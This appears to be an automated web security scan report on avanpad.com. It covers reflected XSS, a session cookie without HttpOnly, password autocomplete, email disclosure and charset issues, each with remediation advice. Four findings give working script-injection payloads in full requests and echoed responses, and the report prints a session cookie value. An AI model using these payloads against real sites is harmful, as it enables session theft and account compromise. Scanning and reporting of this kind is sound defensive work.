Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://avanpad.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://avanpad.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f2ec3--><script>alert(1)</script>844f1b19590 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /?f2ec3--><script>alert(1)</script>844f1b19590=1 HTTP/1.1 Host: avanpad.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"> <meta name="google-site-verification" cont ...[SNIP]... <a href="http://avanpad.com/index.php?f2ec3--><script>alert(1)</script>844f1b19590=1&lang=en"> ...[SNIP]...
1.2. http://avanpad.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://avanpad.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5196a"><script>alert(1)</script>998df403978 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?5196a"><script>alert(1)</script>998df403978=1 HTTP/1.1 Host: avanpad.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"> <meta name="google-site-verification" cont ...[SNIP]... <select name='language_id' class='selector' onChange="window.location='http://avanpad.com/index.php?5196a"><script>alert(1)</script>998df403978=1&' + 'lang=' + this.options[this.selectedIndex].value;"> ...[SNIP]...
1.3. http://avanpad.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://avanpad.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8d94a--><script>alert(1)</script>30a985504ad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /index.php?8d94a--><script>alert(1)</script>30a985504ad=1 HTTP/1.1 Host: avanpad.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=216886342.1293562879.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=u37q330c5740v6gaal2k7jgcv2; __utma=216886342.867810705.1293562879.1293562879.1293562879.1; __utmc=216886342; __utmb=216886342.1.10.1293562879;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"> <meta name="google-site-verification" cont ...[SNIP]... <a href="http://avanpad.com/index.php?8d94a--><script>alert(1)</script>30a985504ad=1&lang=en"> ...[SNIP]...
1.4. http://avanpad.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://avanpad.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8142a"><script>alert(1)</script>a3745de4010 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?8142a"><script>alert(1)</script>a3745de4010=1 HTTP/1.1 Host: avanpad.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=216886342.1293562879.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=u37q330c5740v6gaal2k7jgcv2; __utma=216886342.867810705.1293562879.1293562879.1293562879.1; __utmc=216886342; __utmb=216886342.1.10.1293562879;
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=u37q330c5740v6gaal2k7jgcv2; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET / HTTP/1.1 Host: avanpad.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password field with autocomplete enabled:
password
Request
GET /index.php HTTP/1.1 Host: avanpad.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=216886342.1293562879.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=u37q330c5740v6gaal2k7jgcv2; __utma=216886342.867810705.1293562879.1293562879.1293562879.1; __utmc=216886342; __utmb=216886342.1.10.1293562879;
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
support@avanpad.com
Request
GET /index.php HTTP/1.1 Host: avanpad.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=216886342.1293562879.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=u37q330c5740v6gaal2k7jgcv2; __utma=216886342.867810705.1293562879.1293562879.1293562879.1; __utmc=216886342; __utmb=216886342.1.10.1293562879;
Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:
Windows-1251
Request
GET / HTTP/1.1 Host: avanpad.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:
Windows-1251
Request
GET /index.php HTTP/1.1 Host: avanpad.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=216886342.1293562879.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=u37q330c5740v6gaal2k7jgcv2; __utma=216886342.867810705.1293562879.1293562879.1293562879.1; __utmc=216886342; __utmb=216886342.1.10.1293562879;